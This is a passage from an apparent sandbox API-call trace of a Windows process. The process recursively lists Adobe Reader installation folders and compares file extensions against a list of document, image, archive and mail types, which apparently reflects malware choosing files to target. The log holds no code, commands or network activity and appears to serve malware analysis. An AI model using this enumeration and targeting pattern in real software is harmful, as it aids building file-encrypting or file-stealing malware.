[0047.741] lstrcmpiW (lpString1=".ppsm", lpString2="y.CHS") returned -1 [0047.741] lstrcmpiW (lpString1=".ppt", lpString2=".CHS") returned 1 [0047.741] lstrcmpiW (lpString1=".pptm", lpString2="y.CHS") returned -1 [0047.742] lstrcmpiW (lpString1=".pptx", lpString2="y.CHS") returned -1 [0047.742] lstrcmpiW (lpString1=".prn", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".ps", lpString2="CHS") returned -1 [0047.742] lstrcmpiW (lpString1=".psb", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".psd", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".pst", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".ptx", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".pub", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".pwm", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".pxr", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".py", lpString2="CHS") returned -1 [0047.742] lstrcmpiW (lpString1=".qt", lpString2="CHS") returned -1 [0047.742] lstrcmpiW (lpString1=".r3d", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".raf", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".rar", lpString2=".CHS") returned 1 [0047.742] lstrcmpiW (lpString1=".raw", lpString2=".CHS") returned 1 [0047.743] lstrcmpiW (lpString1=".rdf", lpString2=".CHS") returned 1 [0047.743] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHS", cAlternateFileName="")) returned 1 [0047.744] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0047.744] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.744] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0047.745] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0047.745] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0047.745] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0047.745] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0047.745] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0047.745] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0047.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0047.747] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.747] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0047.748] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0047.749] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.749] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0047.749] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0047.749] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0047.749] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0047.749] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0047.749] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0047.749] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0047.749] FindClose (in: hFindFile=0x7cbb50 | out: hFindFile=0x7cbb50) returned 1 [0047.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5370050 | out: hHeap=0x790000) returned 1 [0047.750] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x473f310 | out: lpFindFileData=0x473f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0047.750] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb50 [0047.751] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.751] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0047.751] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0047.752] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.752] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0047.752] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0047.753] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.753] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0047.753] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0047.754] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0047.754] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0047.754] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0047.754] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0047.754] FindNextFileW (in: hFindFile=0x7cbb50, lpFindFileData=0x473f094 | out: lpFindFileData=0x473f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0047.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0047.755] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.755] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x473ee18 | out: lpFindFileData=0x473ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0047.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba90 [0047.763] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.763] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0047.763] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.094] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.094] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.096] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.101] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0048.101] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0048.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbbd0 [0048.103] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.104] FindNextFileW (in: hFindFile=0x7cbbd0, lpFindFileData=0x473e920 | out: lpFindFileData=0x473e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0048.105] FindClose (in: hFindFile=0x7cbbd0 | out: hFindFile=0x7cbbd0) returned 1 [0048.105] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0048.105] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x473eb9c | out: lpFindFileData=0x473eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0048.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x473e920 | out: 